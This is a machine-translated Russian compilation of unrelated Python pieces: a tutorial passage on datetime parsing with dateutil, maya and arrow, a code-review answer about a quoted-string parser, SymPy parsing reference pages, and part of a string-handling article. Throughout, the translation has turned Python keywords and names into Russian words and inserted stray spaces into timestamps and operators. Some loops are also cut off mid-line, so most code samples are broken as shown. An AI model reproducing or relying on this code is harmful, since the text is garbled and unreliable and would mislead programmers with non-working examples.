    '2018-06-29 08:15: 27.243860',
    '28 июня 2018 г. 7:40',
    '28 июня 2018 г., 7:40',
    '18 сентября 2017, 22:19:55',
    'Вс, 12.05.1999, 12:30',
    'Пн, 21 марта, 2015',
    '2018-03-12T10: 12: 45Z',
    '2018-06-29 17: 08: 00.586525 + 00: 00',
    '2018-06-29 17: 08: 00.586525 + 05: 00',
    «Вторник, 6 сентября 2017 г., 16:30»
]

для даты в date_array:
    print ('Анализ:' + дата)
    dt = parse (дата)
    печать (dt.date ())
    печать (dt.time ())
    печать (дт.tzinfo)
    печать ('\ п')

Выход:

  $ python3 dateutil-1.py
Разбор: 2018-06-29 08:15: 27.243860
2018-06-29
08: 15: 27.243860
Никто

Разбор: 28 июн 2018 7:40
2018-06-28
07:40:00
Никто

Разбор: 28 июн 2018 в 7:40
2018-06-28
07:40:00
Никто

Парсинг: 18 сентября 2017 г., 22:19:55
2017-09-18
22:19:55
Никто

Разбор: вс, 12.05.1999, 12:30
1999-05-12
12:30:00
Никто

Парсинг: Пн, 21 марта 2015 г.
2015-03-21
00:00:00
Никто

Разбор: 2018-03-12T10: 12: 45Z
2018-03-12
10:12:45
tzutc ()

Разбор: 2018-06-29 17:08:00.586525 + 00: 00
2018-06-29
17: 08: 00.586525
tzutc ()

Разбор: 2018-06-29 17: 08: 00.586525 + 05: 00
2018-06-29
17: 08: 00.586525
tzoffset (Нет, 18000)

Разбор: вторник, 6 сентября 2017 г., 16:30
2017-09-06
16:30:00
Никто

Как видите, практически любой тип строки можно легко проанализировать с помощью модуля dateutil .

Хотя это и удобно, напомним, как было сказано ранее, необходимость прогнозирования формата делает код намного медленнее, поэтому, если ваш код требует высокой производительности, это может быть неправильным подходом для вашего приложения.

Майя

Maya также упрощает синтаксический анализ строки и изменение часовых поясов. Здесь показаны несколько простых примеров:

  импорт майя

dt = maya.parse ('2018-04-29T17: 45: 25Z'). datetime ()
печать (dt.date ())
печать (dt.time ())
печать (dt.tzinfo)

Выход:

  $ python3 maya-1.py
2018-04-29
17:45:25
универсальное глобальное время

Для преобразования времени в другой часовой пояс:

  импорт майя

dt = maya.parse ('2018-04-29T17: 45: 25Z').datetime (to_timezone = 'America / New_York', naive = False)
печать (dt.date ())
печать (dt.time ())
печать (dt.tzinfo)

Выход:

  $ python3 maya-2.py
2018-04-29
13:45:25
Америка / Нью-Йорк

Разве не так просто использовать? Давайте попробуем maya с тем же набором строк, который мы использовали с dateutil :

  импорт майя

date_array = [
    '2018-06-29 08:15: 27.243860',
    '28 июня 2018 г. 7:40',
    '28 июня 2018 г., 7:40',
    '18 сентября 2017, 22:19:55',
    'Вс, 12.05.1999, 12:30',
    'Пн, 21 марта, 2015',
    '2018-03-12T10: 12: 45Z',
    '2018-06-29 17:08:00.586525 + 00: 00 ',
    '2018-06-29 17: 08: 00.586525 + 05: 00',
    «Вторник, 6 сентября 2017 г., 16:30»
]

для даты в date_array:
    print ('Анализ:' + дата)
    dt = maya.parse (дата) .datetime ()
    печать (dt)
    печать (dt.date ())
    печать (dt.time ())
    печать (dt.tzinfo)

Выход:

  $ python3 maya-3.py
Разбор: 2018-06-29 08:15: 27.243860
2018-06-29 08: 15: 27.243860 + 00: 00
2018-06-29
08: 15: 27.243860
универсальное глобальное время

Разбор: 28 июн 2018 7:40
2018-06-28 07: 40: 00 + 00: 00
2018-06-28
07:40:00
универсальное глобальное время

Разбор: 28 июн 2018 в 7:40
2018-06-28 07: 40: 00 + 00: 00
2018-06-28
07:40:00
универсальное глобальное время

Парсинг: 18 сентября 2017 г., 22:19:55
2017-09-18 22: 19: 55 + 00: 00
2017-09-18
22:19:55
универсальное глобальное время

Разбор: вс, 12.05.1999, 12:30
1999-05-12 12: 30: 00 + 00: 00
1999-05-12
12:30:00
универсальное глобальное время

Парсинг: Пн, 21 марта 2015 г.
2015-03-21 00: 00: 00 + 00: 00
2015-03-21
00:00:00
универсальное глобальное время

Разбор: 2018-03-12T10: 12: 45Z
2018-03-12 10: 12: 45 + 00: 00
2018-03-12
10:12:45
универсальное глобальное время

Разбор: 2018-06-29 17:08:00.586525 + 00: 00
2018-06-29 17: 08: 00.586525 + 00: 00
2018-06-29
17: 08: 00.586525
универсальное глобальное время

Разбор: 2018-06-29 17: 08: 00.586525 + 05: 00
2018-06-29 12: 08: 00.586525 + 00: 00
2018-06-29
12: 08: 00.586525
универсальное глобальное время

Разбор: вторник, 6 сентября 2017 г., 16:30
2017-09-06 16: 30: 00 + 00: 00
2017-09-06
16:30:00
универсальное глобальное время

Как видите, все форматы даты были успешно проанализированы.

Но вы заметили разницу? Если мы не предоставляем информацию о часовом поясе, она автоматически преобразуется в UTC.Итак, важно отметить, что мы должны предоставить to_timezone и наивных параметров , если время не в UTC.

Стрелка

Arrow - еще одна библиотека для работы с datetime в Python. И, как и раньше, с maya , он также автоматически определяет формат даты и времени. После интерпретации он возвращает объект Python datetime из объекта arrow .

Давайте попробуем это с той же примерной строкой, которую мы использовали для maya :

  стрелка импорта

dt = стрелка.получить ('2018-04-29T17: 45: 25Z')
печать (dt.date ())
печать (dt.time ())
печать (dt.tzinfo)

Выход:

  $ python3 arrow-1.py
2018-04-29
17:45:25
tzutc ()

А вот как вы можете использовать стрелку для преобразования часовых поясов с помощью метода в :

  стрелка импорта

dt = arrow.get ('2018-04-29T17: 45: 25Z'). to ('Америка / Нью-Йорк')
печать (dt)
печать (dt.date ())
печать (dt.time ())

Выход:

  $ python3 стрелка-2.ру
2018-04-29T13: 45: 25-04: 00
2018-04-29
13:45:25

Как видите, строка даты и времени преобразована в регион "America / New_York".

Теперь давайте снова воспользуемся тем же набором строк, который мы использовали выше:

  стрелка импорта

date_array = [
    '2018-06-29 08:15: 27.243860',
    # '28 июня 2018 г. 7:40',
    # '28 июня 2018 г., 7:40',
    # '18 сентября 2017 г., 22:19:55',
    # 'Вс, 12.05.1999, 12:30',
    # 'Пн, 21 марта, 2015',
    '2018-03-12T10: 12: 45Z',
    '2018-06-29 17:08:00.586525 + 00: 00 ',
    '2018-06-29 17: 08: 00.586525 + 05: 00',
    # 'Вторник, 6 сентября 2017 г., 16:30'
]

для даты в date_array:
    dt = arrow.get (дата)
    print ('Анализ:' + дата)
    печать (dt)
    печать (dt.date ())
    печать (dt.time ())
    печать (dt.tzinfo)

Этот код завершится ошибкой для закомментированных строк даты и времени, что составляет более половины наших примеров. Для других строк вывод будет:

  $ python3 arrow-3.py
Разбор: 2018-06-29 08:15:27.243860
2018-06-29T08: 15: 27.243860 + 00: 00
2018-06-29
08: 15: 27.243860
tzutc ()

Разбор: 2018-03-12T10: 12: 45Z
2018-03-12T10: 12: 45 + 00: 00
2018-03-12
10:12:45
tzutc ()

Разбор: 2018-06-29 17: 08: 00.586525 + 00: 00
2018-06-29T17: 08: 00.586525 + 00: 00
2018-06-29
17: 08: 00.586525
tzoffset (Нет, 0)

Разбор: 2018-06-29 17: 08: 00.586525 + 05: 00
2018-06-29T17: 08: 00.586525 + 05: 00
2018-06-29
17: 08: 00.586525
tzoffset (Нет, 18000)

Чтобы правильно проанализировать закомментированные мной строки даты и времени, вам необходимо передать соответствующие токены формата, чтобы дать библиотеке подсказки относительно того, как их анализировать.Например, «MMM» для названия месяцев, например «Jan, Feb, Mar» и т. Д. Вы можете проверить это руководство для всех доступных токенов.

Заключение

В этой статье мы показали различные способы синтаксического анализа строки для объекта datetime в Python. Вы можете выбрать стандартную библиотеку Python datetime или любую из сторонних библиотек, упомянутых в этой статье, среди многих других.

Основная проблема с пакетом datetime по умолчанию заключается в том, что нам нужно вручную указать код синтаксического анализа почти для всех строковых форматов даты и времени.Итак, если ваш строковый формат изменится в будущем, вам, вероятно, также придется изменить свой код. Но многие сторонние библиотеки, такие как упомянутые здесь, обрабатывают это автоматически.

Еще одна проблема, с которой мы сталкиваемся, связана с часовыми поясами. Лучший способ справиться с ними - всегда сохранять время в базе данных в формате UTC, а затем при необходимости преобразовывать его в местный часовой пояс пользователя.

Эти библиотеки не только хороши для синтаксического анализа строк, но их можно использовать для множества различных типов операций, связанных с датой и временем.Я рекомендую вам просмотреть документы, чтобы подробно изучить функции.

python - синтаксический анализатор строки в кавычках

В чем преимущество вашего класса ParserState ?

Единственное свойство, которое я думаю, хорошо, это нормально, это символ , все остальные просто шумят и могут уйти.
Вы также хотите сбросить word всякий раз, когда вы используете push_word , и когда вы добавляете или push_character , вы просто хотите нажать на символ.Итак, если у вас было , чтобы оставить его, я бы использовал следующее:

  класс ParserState (объект):
    def __init __ (сам, текст):
        self.text = текст
        self.index = 0
        self.state = State.space
        self.quote = ''
        self.word = ''
        self.words = []

    @свойство
    def персонаж (self):
        вернуть self._text [self.index]

    def push_word (self, allow_empty = False):
        если allow_empty или self.word:
            self.words.append (собственное слово)
        себя.слово = ''

    def append (сам):
        self.word + = self.character

Однако это не имеет преимуществ перед объединением его с синтаксическим анализом и сохранением единственной функции.
На самом деле это мешает читабельности.
Я бы объединил их вместе, чтобы получить:

  def parse (текст):
    текст = текст
    индекс = 0
    state = State.space
    цитата = ''
    слово = ''
    слова = []

    пока индекс

Для перечисления я бы использовал метод, который действительно работает во всех версиях 2.7, а не тот, который работает только в последней версии. Я использовал один из методов в верхнем ответе, но это не должно иметь большого значения.Просто имейте в виду, что я использую переменные верхнего регистра, поскольку являются константами .

Я бы также использовал char в string.whitespace вместо использования регулярного выражения, так как он удаляет функцию и является простым в .

Итак, для всего бара я использую функцию:

  из строки импортировать пробелы как пробелы

def enum (* последовательный, ** названный):
    enums = dict (zip (последовательный, диапазон (len (последовательный))), ** именованный)
    возвращаемый тип ('Enum', (), enums)

Состояние = перечисление ('ПРОБЕЛ', 'СЛОВО', 'ЦИТАТА')
TOKEN_ESCAPE = '\\'

Ваша функция еще может быть улучшена.Изменения, внесенные вами по сравнению с оригиналом:

Проверяет наличие пробелов первым.
Вынесено добавление последнего слова из цикла, но убраны его проверки.

Последнее наполовину неплохая идея, но ни одна из них не слишком хороша. Первый перемещает код из разделов состояний без уважительной причины. Второй снимает проверки.

Итак, я бы вернулся к переводу кода Go 1: 1. Однако вместо использования метода цикла while я бы использовал способ итератора.

  индексов = iter (диапазон (len (текст)))
для индекса в индексах:
    если (какой-то тест):
        Продолжить
    если (какой-то другой тест):
        index = next (индексы)

Вместо вашего нынешнего образа:

  индекс = 0
пока индекс

Первое намного более лаконично. И поэтому вам нужно повторить попытку преобразования кода Go в этой форме:

  def parse (текст):
    слова = []
    word = []
    состояние = Состояние.КОСМОС
    цитата = ''
    allow_blank = Ложь

    индексы = iter (диапазон (len (текст) + 1))
    для индекса в индексах:
        если index! = len (текст):
            char = текст [индекс]

        если состояние State.SPACE:
            если index == len (rest):
                перемена
            если символ в пробеле:
                Продолжить
            state = State.WORD

        if (состояние State.WORD или состояние State.QUOTE) и index == len (текст):
            если allow_blank или слово:
                слова.append ('.присоединиться (слово))
            перемена

        если состояние State.WORD:
            если символ в пробеле:
                state = State.SPACE
                если allow_blank или слово:
                    words.append (''. join (слово))
                word = []
                allow_blank = Ложь
                Продолжить
            если символ в '\' "':
                quote = char
                allow_blank = Истина
                state = State.QUOTE
            если char == TOKEN_ESCAPE:
                если pos + 1 == len (текст):
                    Продолжить
                слово.добавить (символ)
                индекс + = 1
                char = текст [индекс]
            word.append (символ)
            Продолжить

        если состояние State.QUOTE:
            если char == цитата:
                state = State.WORD
            если char == TOKEN_ESCAPE и quote! = '\' ':
                если pos + 1 == len (текст):
                    Продолжить
                word.append (символ)
                индекс + = 1
                char = текст [индекс]
            word.append (символ)
    ответные слова

Поскольку мы не проводим рецензирование кода других людей, я не буду анализировать этот код.Однако я изменил его следующим образом:

Выведите последнее присоединение из цикла. Но чеки сохранил. Все они.
Удалены устаревшие проверки индекса.
Из кода удален индекс.
Объединен код TOKEN_ESCAPE .

Что привело к:

  из строки импортировать пробелы как пробелы

def enum (* последовательный, ** названный):
    enums = dict (zip (последовательный, диапазон (len (последовательный))), ** именованный)
    возвращаемый тип ('Enum', (), enums)

Состояние = перечисление ('ПРОБЕЛ', 'СЛОВО', 'ЦИТАТА')
TOKEN_ESCAPE = '\\'

def parse (текст):
    слова = []
    word = []
    состояние = Состояние.КОСМОС
    цитата = ''
    allow_blank = Ложь

    text_ = iter (текст)
    для символа в text_:
        если состояние State.SPACE:
            если символ в пробеле:
                Продолжить
            state = State.WORD

        если состояние State.WORD:
            если символ в пробеле:
                state = State.SPACE
                если allow_blank или слово:
                    words.append (''. join (слово))
                word = []
                allow_blank = Ложь
                Продолжить
            если символ в '\' "':
                quote = char
                allow_blank = Истина
                состояние = Состояние.ЦИТИРОВАТЬ
        состояние elif - State.QUOTE:
            если char == цитата:
                state = State.WORD

        если char == TOKEN_ESCAPE и ((состояние State.WORD) или
                                     (состояние State.QUOTE и цитата! = '\' ')):
            new_char = следующий (текст_, StopIteration)
            если new_char - StopIteration:
                перемена
            word.append (символ)
            char = new_char
        word.append (символ)

    if (состояние State.WORD или состояние State.QUOTE):
        если allow_blank или слово:
            слова.append (''. join (слово))

    ответные слова

печать (синтаксический анализ ('фу'))
print (parse ('foo bar'))
print (parse ('foo bar \' abc xyz \ ''))
print (parse ('foo bar "abc xyz"'))
print (parse ('foo bar "abc xyz" \\'))
print (parse ('foo bar "abc \\" def \\ "xyz"'))

Анализ

`- документация SymPy 1.7.1`

`Справочник по функциям синтаксического анализа`

sympy.parsing.sympy_parser. parse_expr ( s , local_dict = None , transformations = ( , , , ) , global_dict = None , Assessment = True ) [источник]

Преобразует строку s в выражение SymPy, в local_dict

Параметры

с : ул

local_dict : dict, необязательно

Словарь локальных переменных для использования при синтаксическом анализе.

global_dict : dict, необязательно

Словарь глобальных переменных. По умолчанию это инициализировано с от sympy import * ; предоставьте этот параметр, чтобы переопределить это поведение (например, для синтаксического анализа «Q&S» ).

преобразований : кортеж, необязательно

Кортеж функций преобразования, используемых для изменения токенов проанализированное выражение перед оценкой.Преобразования по умолчанию преобразовать числовые литералы в их эквиваленты SymPy, преобразовать неопределенные переменные в символы SymPy и позволяют использовать стандартные математическая запись факториала (например, x! ).

оценка : bool, необязательно

При значении False порядок аргументов останется таким же, как и в строка и автоматическое упрощение, которое обычно происходит, это подавлен. (см. примеры)

Примеры

 >>> от sympy.parsing.sympy_parser import parse_expr
>>> parse_expr ("1/2")
1/2
>>> тип (_)
<класс 'sympy.core.numbers.Half'>
>>> from sympy.parsing.sympy_parser import standard_transformations, \
... implicit_multiplication_application
>>> трансформации = (стандартные_преобразования +
... (неявное_множение_приложение,))
>>> parse_expr ("2x", преобразования = преобразования)
2 * х

Если оценка = False, некоторые автоматические упрощения не произойдут:

 >>> parse_expr ("2 ** 3"), parse_expr ("2 ** 3", Assessment = False)
(8, 2 ** 3)

Кроме того, порядок аргументов не будет каноническим.Эта функция позволяет точно определить, как было введено выражение:

 >>> a = parse_expr ('1 + x', оценка = ложь)
>>> b = parse_expr ('x + 1', оценка = 0)
>>> а == б
Ложь
>>> a.args
(1, х)
>>> b.args
(х, 1)

sympy.parsing.sympy_parser. stringify_expr ( s , local_dict , global_dict , преобразования ) [источник]

Преобразует строку s в код Python, в local_dict

Обычно следует использовать parse_expr .

sympy.parsing.sympy_parser. eval_expr ( code , local_dict , global_dict ) [источник]

Оценить код Python, сгенерированный stringify_expr .

Обычно следует использовать parse_expr .

sympy.parsing.maxima. parse_maxima ( str , globals = None , name_dict = {} ) [источник]

sympy.parsing.mathematica. mathematica ( s , additional_translations = None ) [источник]

Пользователи могут добавить свой собственный словарь перевода. Аргумент переменной длины должен содержать символ «*».

Примеры

 >>> из sympy.parsing.mathematica import mathematica
>>> mathematica ('Log3 [9]', {'Log3 [x]': 'log (x, 3)'})
2
>>> mathematica ('F [7,5,3]', {'F [* x]': 'Макс (* x) * Мин (* x)'})
21 год

`Справочник по преобразованиям синтаксического анализа`

Преобразование - это функция, которая принимает аргументы токенов, local_dict, global_dict и возвращает список преобразованных токенов.Они могут использоваться путем передачи списка функций в parse_expr () и применяется в указанном порядке.

sympy.parsing.sympy_parser. standard_transformations = (<функция lambda_notation>, <функция auto_symbol>, <функция repeat_decimals>, <функция auto_number>, ): Стандартные преобразования для parse_expr () . Вставляет вызовы в Symbol , Integer и другие SymPy типов данных и позволяет использовать стандартную факториальную нотацию (например,грамм. х! ).

sympy.parsing.sympy_parser. split_symbols ( токен , local_dict , global_dict ) [источник]

Разделяет имена символов для неявного умножения.

Предназначен для синтаксического анализа таких выражений, как xyz , как x * y * z . Не разделить имена греческих символов, поэтому theta будет , а не станет т * ч * д * т * а .Обычно это следует использовать с неявное_множение .

sympy.parsing.sympy_parser. split_symbols_custom ( предикат ) [источник]

Создает преобразование, разделяющее имена символов.

предикат должен возвращать True, если имя символа должно быть разделено.

Например, чтобы сохранить поведение по умолчанию, но избежать разделения некоторых имена символов, такой предикат будет работать:

 >>> от sympy.parsing.sympy_parser import (parse_expr, _token_splittable,
... стандартные_преобразования, неявное_множение,
... split_symbols_custom)
>>> def can_split (символ):
... если символа нет в ('list', 'of', 'unsplittable', 'names'):
... вернуть _token_splittable (символ)
... вернуть False
...
>>> преобразование = split_symbols_custom (can_split)
>>> parse_expr ('нерасщепляемый', трансформации = стандартные_преобразования +
... (преобразование, неявное_множение))
неразделимый

sympy.parsing.sympy_parser. implicit_multiplication ( результат , local_dict , global_dict ) [источник]

В большинстве случаев делает оператор умножения необязательным.

Используйте это перед implicit_application () , иначе выражения вроде sin 2x будет проанализировано как x * sin (2) , а не sin (2 * x) .

Примеры

 >>> из импорта sympy.parsing.sympy_parser (parse_expr,
... стандартные_преобразования, неявное_множение)
>>> преобразования = стандартные_преобразования + (неявное_множение,)
>>> parse_expr ('3 x y', преобразования = преобразования)
3 * х * у

sympy.parsing.sympy_parser. implicit_application ( результат , local_dict , global_dict ) [источник]

В некоторых случаях делает скобки необязательными для вызовов функций.

Используйте это после implicit_multiplication () , иначе выражения например, sin 2x будет анализироваться как x * sin (2) , а не грех (2 * х) .

Примеры

 >>> из импорта sympy.parsing.sympy_parser (parse_expr,
... стандартные_преобразования, неявное_приложение)
>>> преобразования = стандартные_преобразования + (неявное_приложение,)
>>> parse_expr ('cot z + csc z', трансформации = трансформации)
детская кроватка (z) + csc (z)

sympy.parsing.sympy_parser. function_exponentiation ( токен , local_dict , global_dict ) [источник]

Позволяет возводить функции в степень, например cos ** 2 (x) .

Примеры

 >>> из импорта sympy.parsing.sympy_parser (parse_expr,
... стандартные_преобразования, функция_экспоненциация)
>>> преобразования = стандартные_преобразования + (функция_экспоненциация,)
>>> parse_expr ('sin ** 4 (x)', преобразования = преобразования)
грех (х) ** 4

sympy.parsing.sympy_parser. implicit_multiplication_application ( результат , local_dict , global_dict ) [источник]

Позволяет немного смягчить синтаксис.

Скобки для вызовов методов с одним аргументом необязательны.
Умножение неявное.
Имена символов могут быть разделены (т.е. пробелы между символы).
Функции могут быть возведены в степень.

Примеры

 >>> из импорта sympy.parsing.sympy_parser (parse_expr,
... стандартные_преобразования, неявное_множение_приложение)
>>> parse_expr ("10sin ** 2 x ** 2 + 3xyz + tan theta",
... трансформации = (стандартные_преобразования +
... (неявное_множение_приложение,)))
3 * x * y * z + 10 * sin (x ** 2) ** 2 + tan (тета)

sympy.parsing.sympy_parser. рационализировать ( токен , local_dict , global_dict ) [источник]: Преобразует числа с плавающей запятой в Rational ., как возведение в степень, ** .

Они включены в : data: sympy.parsing.sympy_parser.standard_transformations и вообще не нужно добавлять вручную пользователем.

sympy.parsing.sympy_parser. lambda_notation ( токен , local_dict , global_dict ) [источник]: Заменяет «лямбда» на его эквивалент в Sympy Lambda ().Однако преобразование не произойдет, если только «лямбда» передается, потому что это синтаксическая ошибка.

sympy.parsing.sympy_parser. auto_symbol ( токен , local_dict , global_dict ) [источник]: Вставляет вызовы Символ / Функция для неопределенных переменных.

sympy.parsing.sympy_parser. Repeated_decimals ( токен , local_dict , global_dict ) [источник]

Позволяет нотации 0,2 [1] представлять повторяющееся десятичное число 0,2111… (19/90)

Запускать перед auto_number.

sympy.parsing.sympy_parser. auto_number ( токен , local_dict , global_dict ) [источник]

Преобразует числовые литералы для использования эквивалентов SymPy.

Комплексные числа используют I , целочисленные литералы используют Integer и с плавающей точкой литералы используют Float .

sympy.parsing.sympy_parser. factorial_notation ( токен , local_dict , global_dict ) [источник]: Позволяет использовать стандартные обозначения для факториала.

`Экспериментальный анализ \ (\ mathrm {\ LaTeX} \)`

\ (\ mathrm {\ LaTeX} \) синтаксический анализ был перенесен из latex2sympy.Хотя функциональный и его API должен оставаться стабильным, поведение синтаксического анализа или серверная часть могут измениться в будущие выпуски.

`\ (\ mathrm {\ LaTeX} \) Предостережения при синтаксическом анализе`

Текущая реализация является экспериментальной. Поведение, серверная часть парсера и API может измениться в будущем. В отличие от некоторых других парсеров, \ (\ mathrm {\ LaTeX} \) разработан как наборный язык , а не система компьютерной алгебры и т. д. может содержать типографские условные обозначения, которые можно интерпретировать по-разному.

В его текущем определении синтаксический анализатор иногда не может полностью проанализировать выражение, но не выдавать предупреждение:

Просто найдет x . То, что покрывается этим поведением, почти наверняка меняться между релизами и становиться более строгими, расслабленными или смешанными.

`\ (\ mathrm {\ LaTeX} \) Справочник по функциям синтаксического анализа`

sympy.parsing.latex. parse_latex ( s ) [источник]

Преобразует строку s в SymPy Expr

Параметры: с : ул
Строка LaTeX для синтаксического анализа.В исходном коде Python, содержащем LaTeX, необработанная строка (обозначается r ", как эта) предпочтительнее, поскольку LaTeX либерально использует символ \ , что экранирование триггера в обычных строках Python.

Примеры

 >>> из sympy.parsing.latex import parse_latex
>>> expr = parse_latex (r "\ frac {1 + \ sqrt {\ a}} {\ b}")
>>> expr
(sqrt (a) + 1) / b
>>> выр.evalf (4, subs = dict (a = 5, b = 2))
1,618

`\ (\ mathrm {\ LaTeX} \) Справочник по исключениям синтаксического анализа`

класс sympy.parsing.latex. LaTeXParsingError [источник]

`Справочник по выражениям SymPy`

класс sympy.parsing.sym_expr. SymPyExpression ( source_code = None , mode = None ) [источник]

Класс для хранения и обработки выражений SymPy

Этот класс будет содержать выражения SymPy и обрабатывать API для преобразование на разные языки и обратно.

Он работает с C и парсером Fortran для генерации выражений SymPy. которые хранятся здесь и могут быть преобразованы в многоязычные исходный код.

Банкноты

Модуль и его API в настоящее время находятся в стадии разработки и экспериментирования. и могут быть изменены в процессе разработки.

Парсер Fortran не поддерживает числовые присваивания, поэтому все переменные были инициализированы нулем.

Модуль также зависит от внешних зависимостей:

Примеры

Пример разбора C кода:

 >>> от sympy.parsing.sym_expr import SymPyExpression
>>> src = '' '
... int a, b;
... float c = 2, d = 4;
... '' '
>>> a = SymPyExpression (src, 'c')
>>> a.return_expr ()
[Объявление (переменная (a, type = intc)),
Объявление (переменная (b, type = intc)),
Объявление (переменная (c, type = float32, value = 2.0)),
Объявление (Variable (d, type = float32, value = 4.0))]

Пример определения переменной:

 >>> от sympy.parsing.sym_expr import SymPyExpression
>>> src2 = '' '
... целое число :: a, b, c, d
... вещественное :: p, q, r, s
... '' '
>>> p = SymPyExpression ()
>>> p.convert_to_expr (src2, 'f')
>>> p.convert_to_c ()
['int a = 0', 'int b = 0', 'int c = 0', 'int d = 0', 'double p = 0.0', 'double q = 0.0', 'double r = 0.0', 'double s = 0,0']

Пример присвоения:

 >>> из sympy.parsing.sym_expr import SymPyExpression
>>> src3 = '' '
... целое число :: a, b, c, d, e
... d = a + b - c
... е = Ь * д + с * е / а
... '' '
>>> p = SymPyExpression (src3, 'f')
>>> p.convert_to_python ()
['a = 0', 'b = 0', 'c = 0', 'd = 0', 'e = 0', 'd = a + b - c', 'e = b * d + c * e / a ']

Пример определения функции:

 >>> из sympy.parsing.sym_expr import SymPyExpression
>>> src = '' '
... целочисленная функция f (a, b)
... целое число, намерение (вход) :: a, b
... integer :: r
... конечная функция
... '' '
>>> a = SymPyExpression (src, 'f')
>>> a.convert_to_python ()
['def f (a, b): \ n f = 0 \ n r = 0 \ n return f']

convert_to_c () [источник]

Возвращает список с исходным кодом c для симпозиумных выражений

Примеры

 >>> из sympy.parsing.sym_expr import SymPyExpression
>>> src2 = '' '
... целое число :: a, b, c, d
... вещественное :: p, q, r, s
... c = a / b
... d = c / a
... s = p / q
... г = д / р
... '' '
>>> p = SymPyExpression ()
>>> p.convert_to_expr (src2, 'f')
>>> p.convert_to_c ()
['int a = 0', 'int b = 0', 'int c = 0', 'int d = 0', 'double p = 0.0', 'double q = 0.0', 'double r = 0.0', 'double s = 0.0', 'c = a / b;', 'd = c / a;', 's = p / q;', 'r = q / p;']

convert_to_expr ( src_code , mode ) [источник]

Преобразует указанный исходный код в выражения sympy

Примеры

 >>> от sympy.parsing.sym_expr import SymPyExpression
>>> src3 = '' '
... целочисленная функция f (a, b) result (r)
... целое число, намерение (вход) :: a, b
... целое число :: x
... r = a + b -x
... конечная функция
... '' '
>>> p = SymPyExpression ()
>>> p.convert_to_expr (src3, 'f')
>>> p.return_expr ()
[FunctionDefinition (integer, name = f, parameters = (Variable (a), Variable (b)), body = CodeBlock (
Объявление (переменная (r, тип = целое число, значение = 0)),
Объявление (переменная (x, тип = целое число, значение = 0)),
Присваивание (Переменная (r), a + b - x),
Возврат (переменная (r))
))]

Атрибуты

src_code	(строка) исходный код или имя файла исходного кода, который необходимо преобразовать
режим: строка	режим определения того, какой парсер должен использоваться в соответствии с языком исходного кода f или F для Fortran c или C для C / C ++

convert_to_fortran () [источник]

Возвращает список с исходным кодом fortran для симпозиумных выражений

Примеры

 >>> от sympy.parsing.sym_expr import SymPyExpression
>>> src2 = '' '
... целое число :: a, b, c, d
... вещественное :: p, q, r, s
... c = a / b
... d = c / a
... s = p / q
... г = д / р
... '' '
>>> p = SymPyExpression (src2, 'f')
>>> p.convert_to_fortran ()
['integer * 4 a', 'integer * 4 b', 'integer * 4 c', 'integer * 4 d', 'real * 8 p', 'real * 8 q', 'real * 8 r', 'real * 8 s', 'c = a / b', 'd = c / a', 's = p / q', 'r = q / p']

convert_to_python () [источник]

Возвращает список с кодом Python для симпозиумных выражений

Примеры

 >>> от sympy.parsing.sym_expr import SymPyExpression
>>> src2 = '' '
... целое число :: a, b, c, d
... вещественное :: p, q, r, s
... c = a / b
... d = c / a
... s = p / q
... г = д / р
... '' '
>>> p = SymPyExpression (src2, 'f')
>>> p.convert_to_python ()
['a = 0', 'b = 0', 'c = 0', 'd = 0', 'p = 0,0', 'q = 0,0', 'r = 0,0', 's = 0,0', ' c = a / b ',' d = c / a ',' s = p / q ',' r = q / p ']

return_expr () [источник]

Возвращает список выражений

Примеры

 >>> от sympy.parsing.sym_expr import SymPyExpression
>>> src3 = '' '
... целочисленная функция f (a, b)
... целое число, намерение (вход) :: a, b
... целое число :: r
... г = а + Ь
... f = r
... конечная функция
... '' '
>>> p = SymPyExpression ()
>>> p.convert_to_expr (src3, 'f')
>>> p.return_expr ()
[FunctionDefinition (integer, name = f, parameters = (Variable (a), Variable (b)), body = CodeBlock (
Объявление (переменная (f, тип = целое число, значение = 0)),
Объявление (переменная (r, тип = целое число, значение = 0)),
Присвоение (переменная (f), переменная (r)),
Возврат (переменная (f))
))]

`Установка среды выполнения`

Пакетный в настоящее время сервер синтаксического анализатора LaTeX частично сгенерирован с помощью ANTLR4, но для использования парсера вам понадобится только пакет Python antlr4 .

В зависимости от вашего менеджера пакетов вы можете установить нужный пакет с помощью например, pip3 (только Python 3):

 $ pip3 установить antlr4-python3-runtime

или pip (только Python 2):

 $ pip установить antlr4-python2-runtime

или conda (Python 2 или Python 3):

 $ conda install --channel = conda-forge antlr-python-runtime

Синтаксический анализатор C зависит от clang , а синтаксический анализатор Fortran зависит от LFortran .Вы можете установить эти пакеты, используя:

 $ conda install -c conda-forge lfortran clang

`10 трюков и сценариев Python для преобразования и декомпозиции строк | Павел Хорбонос (Midvel Corp)`

`1. Перевести и заменить`

Первый случай - заменить или удалить некоторые символы или подстроки из текста. Python имеет встроенные функции в модуле string , которые выполняют желаемые задачи.

translate () использует карту символов для удаления или изменения определенных символов:

И replace () работает, как следует из названия - путем изменения подстроки на желаемую:

`2.Очистка строки`

Теперь мы можем применить знания из предыдущего оператора для очистки строки. Это один из наиболее востребованных процессов в проекте по обработке данных во время очистки данных - отличный пример - необработанный текст с пробельными символами и переносами строк. Вот простой скрипт для очистки такой строки:

`3. Разделите по своему усмотрению`

Анализ текста требует различных показателей, таких как количество слов, количество символов, средняя длина предложения. Чтобы вычислить эти значения, нам нужно подготовить текст - очистить и разделить.К счастью для нас, в Python есть несколько встроенных функций для разделения текста:

Разделение по умолчанию с помощью символа пробела:

 test_string.split () Out [1]: ['The', 'quick', ' коричневый »,« лиса »,« прыгает »,« за »,« ленивый »,« собака »]

Разделить на определенное количество токенов:

 test_string.split ('', 2) Out [2]: ['The', 'quick', 'бурая лиса перепрыгивает через ленивую собаку']

Обратное разделение строки:

 test_string.rsplit ('', 2) Out [3]: ['Быстрая коричневая лисица перепрыгивает через', 'ленивый', 'собака']

Разделить пользовательским символом (конечно, все функции поддерживают эту функцию):

 test_string.split ('e') Out [4]: ['Th', 'quick brown fox jumps ov', 'r the lazy dog']

Разделите строку на желаемый токен, с токенами перед и после него:

 test_string.partition ('fox') Out [5]: ('Быстрая коричневая', 'лиса', 'прыгает через ленивую собаку')

`4. Зачистите и заполните`

Еще одно важное особенность - возможность удалять лишние начальные и конечные символы из строки.Для этого у нас есть семейство функций strip () :

Вырезать пробелы по умолчанию.
Вырежьте промежутки слева или справа.
Вырезать пользовательские символы.

Кроме того, есть полезная функция для заполнения чисел ведущими нулями:

`5. Деконструкция и воссоздание`

Для создания текста требуется построение предложений и фраз из словаря слов. Как процесс, это обратное разделению строки. Python позволяет нам использовать встроенный строковый метод join () для объединения слов обратно в предложение:

